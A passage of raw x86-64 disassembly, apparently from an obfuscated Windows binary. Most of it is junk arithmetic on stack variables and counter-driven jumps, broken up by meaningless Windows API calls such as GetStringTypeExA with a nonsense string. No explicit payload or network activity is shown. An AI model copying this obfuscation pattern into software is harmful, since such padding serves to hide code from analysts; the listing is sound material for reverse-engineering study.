mov rax, qword [rsp + 0x105d0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x65c8], al
movzx edx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x13120], ax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
and ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x9750]
add rcx, qword [rax]
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x15368]
sub ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rsp + 0x225f8]
add eax, ecx
mov dword [rsp + 0x1e838], eax
mov rcx, qword [rsp + 0xe1e0]
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movzx ecx, byte [rsp + 0x9ad8]
movzx eax, byte [rsp + 0x1522c]
add ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
mov eax, dword [rsp + 0x205c8]
add eax, 0x3c
mov dword [rsp + 0x205c8], eax
mov rax, qword [rsp + 0x16b98]
movsx ecx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0xf250], al
movzx ecx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rax, qword [rsp + 0xdb98]
movsx edx, word [rax]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x1f220], ax
mov ecx, dword [rsp + 0x15368]
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0xe198]
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0xe198]
mov dword [rax], ecx
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x26148]
sub eax, ecx
mov dword [rsp + 0x1e838], eax
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xf250]
and ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rax, qword [rsp + 0x1a870]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x9ad8]
sub ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
jmp 0x14005e8da
cmp dword [rsp + 0x1ff14], 0x3956
ja 0x14005f355
movzx ecx, word [rsp + 0x13120]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x6598]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402412c8], rax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x26148]
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x11234]
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [0x1402412c8]
add rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1a870]
mov byte [rax], cl
mov rax, qword [rsp + 0x105d0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x1522c], al
mov rax, qword [rsp + 0x264f8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
movsx ecx, word [rsp + 0x11564]
movsx eax, word [rsp + 0x1f220]
or ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
movzx edx, word [rsp + 0x8218]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
movzx ecx, byte [rsp + 0x9ad8]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
mov rdx, qword [rsp + 0x8f38]
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x15368], eax
movsx ecx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0x18b28]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov ecx, dword [rsp + 0x225f8]
mov eax, dword [rsp + 0x26148]
and eax, ecx
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rsp + 0x29528]
sub rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x67d0]
add eax, ecx
mov word [rsp + 0x13120], ax
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x67d0]
sub ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x1f220], ax
mov eax, dword [rsp + 0x26148]
movzx ecx, al
mov eax, dword [rsp + 0x1e838]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x29528]
mov rcx, qword [rsp + 0x21d38]
xor rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rsp + 0x11234]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1c058], eax
mov rcx, qword [rsp + 0x16938]
mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1a870]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x1522c]
sub ecx, eax
mov rax, qword [rsp + 0x1a870]
mov byte [rax], cl
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
sub ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6598]
add rax, rcx
mov qword [0x1402412c8], rax
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x18b28], al
mov rcx, qword [rsp + 0x20e58]
mov eax, dword [rsp + 0x15368]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x29528]
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e838]
add ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6598]
mov rcx, qword [0x1402412c8]
add rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1c578]
movzx edx, word [rax]
movzx eax, word [rsp + 0x13120]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x1f220], ax
movsx edx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xf250]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov eax, dword [rsp + 0x1ff14]
add eax, 0x32
mov dword [rsp + 0x1ff14], eax
mov rax, qword [rsp + 0x23188]
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1402412c8], rax
movzx edx, word [rsp + 0x8218]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x13120], ax
jmp 0x14005ee75
mov rax, qword [0x140244ef8]
mov qword [rsp + 0x14a60], rax
mov rcx, qword [rsp + 0x5b28]
mov eax, dword [rsp + 0x225f8]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x16938]
mov dword [rax], ecx
mov rax, qword [rsp + 0x23568]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x5b28]
add ecx, dword [rax]
mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
add eax, dword [rsp + 0x225f8]
cmp ecx, eax
jb 0x14005f442
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x11234]
and eax, ecx
mov dword [rsp + 0x1c058], eax
mov rax, qword [rsp + 0x29528]
mov qword [rsp + 0x1aee8], rax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1522c]
add eax, ecx
mov byte [rsp + 0x9ad8], al
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65c8]
sub eax, ecx
mov byte [rsp + 0x19cf8], al
movsx ecx, word [rsp + 0x11564]
movsx eax, word [rsp + 0x1f220]
sub ecx, eax
mov rax, qword [rsp + 0x16b98]
mov word [rax], cx
lea rax, [rsp + 0x13120]
mov qword [rsp + 0x22928], rax
jmp 0x14005f514
mov rax, qword [rsp + 0xe8a0]
movzx edi, word [rax]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
sub edi, eax
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
jge 0x14005f514
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x18b28], al
movsx edi, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
or edi, eax
mov rax, qword [rsp + 0xdb98]
movsx edx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
cmp edi, eax
jle 0x14005f4ef
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
xor ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
movzx r9d, word [rsp + 0x1f220]
mov r8, qword [rsp + 0x14a60]
mov rdx, qword [rsp + 0x14a60]
mov rcx, qword [0x140244ef8]
call fcn.140055970
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x26148]
and eax, ecx
mov dword [rsp + 0x1e838], eax
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x1aee8]
sub rax, rcx
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68c8]
sub ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0x19cf8]
movzx eax, byte [rsp + 0x1522c]
add ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
movzx eax, byte [rsp + 0x19cf8]
movzx ecx, byte [rsp + 0x9ad8]
add eax, ecx
mov byte [rsp + 0x1522c], al
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov eax, dword [rsp + 0x6398]
add eax, 0xc1
mov dword [rsp + 0x6398], eax
movzx eax, word [rsp + 0x13120]
movzx ecx, word [rsp + 0x67d0]
sub eax, ecx
mov word [rsp + 0x8218], ax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
and ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rsp + 0x225f8]
add ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x8f38]
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x23568]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x225f8], eax
cmp dword [rsp + 0x6398], 0x8c40
jbe 0x14005f514
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x13120]
or ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movzx eax, byte [rsp + 0xf250]
mov byte [rsp + 0xeb9c], al
mov rcx, qword [0x140244ef8]
mov rax, qword [rsp + 0x14a60]
add rax, rcx
mov qword [0x1402412d0], rax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19cf8]
and eax, ecx
mov byte [rsp + 0x9ad8], al
lea rax, [rsp + 0x11564]
mov qword [rsp + 0x18858], rax
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x18858]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x11234]
add eax, ecx
mov dword [rsp + 0x15368], eax
mov ecx, dword [rsp + 0x1e838]
mov eax, dword [rsp + 0x225f8]
add eax, ecx
mov dword [rsp + 0x26148], eax
mov rax, qword [rsp + 0x9750]
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x11234]
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov rax, qword [rsp + 0x105d0]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x2a0d8]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1a870]
mov byte [rax], cl
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x6598]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1402412c8], rax
mov rax, qword [rsp + 0x16b98]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x1f220]
xor ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x8218]
or ecx, eax
mov rax, qword [rsp + 0x22928]
mov word [rax], cx
mov ecx, dword [rsp + 0x1e838]
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
sar rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68c8]
sub ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x18858]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movsx ecx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0xeb9c]
and ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
movzx ecx, word [rsp + 0x8218]
movzx eax, word [rsp + 0x13120]
sub ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rcx, qword [rsp + 0x1aee8]
mov rax, qword [rsp + 0x21d38]
add rax, rcx
mov qword [0x1402412c8], rax
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x19cf8], al
movzx eax, word [rsp + 0x67d0]
movzx ecx, word [rsp + 0x13120]
add eax, ecx
mov word [rsp + 0x8218], ax
mov rcx, qword [rsp + 0x19120]
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c058]
add ecx, eax
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8f38]
add eax, dword [rcx]
mov dword [rsp + 0x258a4], eax
mov rax, qword [rsp + 0x23568]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x26148]
add eax, ecx
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0x1c578]
movzx edx, word [rax]
movzx eax, word [rsp + 0x67d0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x8218], ax
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov eax, dword [rsp + 0xc4a8]
add eax, 0xb2
mov dword [rsp + 0xc4a8], eax
mov rcx, qword [0x1402412d0]
mov rax, qword [rsp + 0x14a60]
or rax, rcx
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x16b98]
movsx edx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x1f220], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19cf8]
and eax, ecx
mov byte [rsp + 0x9ad8], al
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x22928]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov eax, dword [rsp + 0x15368]
mov ecx, dword [rsp + 0x11234]
add ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0x9ad8]
mov rax, qword [rsp + 0x29a80]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rsp + 0x225f8]
sub eax, ecx
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1aee8]
add rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x18858]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x29a80]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
movsx edx, byte [rsp + 0xeb9c]
movsx eax, byte [rsp + 0xf250]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x18b28], al
movzx ecx, word [rsp + 0x13120]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c058]
or ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rcx, qword [0x1402412d0]
mov rax, qword [0x140244ef8]
and rax, rcx
mov qword [rsp + 0x14a60], rax
cmp dword [rsp + 0xc4a8], 0xbb76
jb 0x14005f70a
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rsp + 0x225f8]
sub eax, ecx
mov dword [rsp + 0x1e838], eax
movsx edi, word [rsp + 0x1f220]
movsx eax, word [rsp + 0x11564]
add edi, eax
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jle 0x14005fd08
lea rax, [rsp + 0x12e08]
mov qword [rsp + 0x20], rax
mov r9d, 0xdb
lea r8, str.haulers_improvable_easiness_jobs
mov edx, 0x35
mov ecx, 0x81
call qword [sym.imp.KERNEL32.dll_GetStringTypeExA]
mov dword [rsp + 0x20000], eax
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11564]
sub eax, ecx
mov word [rsp + 0x1f220], ax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rcx, qword [rsp + 0xe40]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x1e29c], eax
mov rax, qword [rsp + 0x18858]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x1a870]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x67d0]
call fcn.140203290
jmp 0x14005fd94
mov rax, qword [rsp + 0x9808]
movzx edi, byte [rax]
movzx eax, byte [rsp + 0x19cf8]
sub edi, eax
mov rax, qword [rsp + 0x1a870]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
cmp edi, eax
jge 0x14005fd94
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x9808]
mov byte [rax], cl
lea rdx, [rsp + 0x1910]
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [rsp + 0x26148], eax
mov rax, qword [rsp + 0x22928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8218]
add eax, ecx
mov word [rsp + 0x13120], ax
movzx edx, byte [rsp + 0x1522c]
movzx eax, byte [rsp + 0x19cf8]
xor edx, eax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9ad8]
or eax, ecx
cmp edx, eax
jle 0x14005fe61
mov al, byte [rsp + 0x65c8]
mov byte [rsp + 0x2d418], al
cmp byte [rsp + 0x2d418], 0x26
je 0x14005fddd
jmp 0x14005fe5c
mov rax, qword [rsp + 0x105d0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
mov dword [rsp + 0x20], 0x26
lea r9, [rsp + 0x1a870]
lea r8, [rsp + 0x68c8]
lea rdx, [rsp + 0x1f170]
mov rcx, qword [rsp + 0x17a8]
call qword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
mov dword [rsp + 0x8e60], eax
mov ecx, dword [rsp + 0x68c8]
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
jmp 0x14005fe61
call fcn.140203170
mov rax, qword [rsp + 0x6598]
mov qword [rsp + 0x2d420], rax
cmp qword [rsp + 0x2d420], 0
je 0x14005fe81
jmp 0x140202436
mov eax, dword [rsp + 0x68c8]
mov ecx, dword [rsp + 0x11234]
xor ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov rax, qword [0x1402412d0]
movzx ecx, al
mov rax, qword [0x140244ef8]
shr rax, cl
mov qword [rsp + 0x14a60], rax
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6598]
and rax, rcx
mov qword [rsp + 0x21d38], rax
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26148]
add ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x67d0], ax
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402412c8], rax
movsx eax, byte [rsp + 0xf250]
movsx ecx, byte [rsp + 0x18b28]
add eax, ecx
mov byte [rsp + 0xeb9c], al
mov rax, qword [rsp + 0x18858]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x16b98]
mov word [rax], cx
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x67d0]
sub eax, ecx
mov word [rsp + 0x8218], ax
mov eax, dword [rsp + 0x225f8]
mov ecx, dword [rsp + 0x26148]
and ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x23568]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x16938]
add ecx, dword [rax]
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x23188]
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x68c8]
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xe198]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9808]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x1522c]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x65c8], al
mov rcx, qword [rsp + 0x9750]
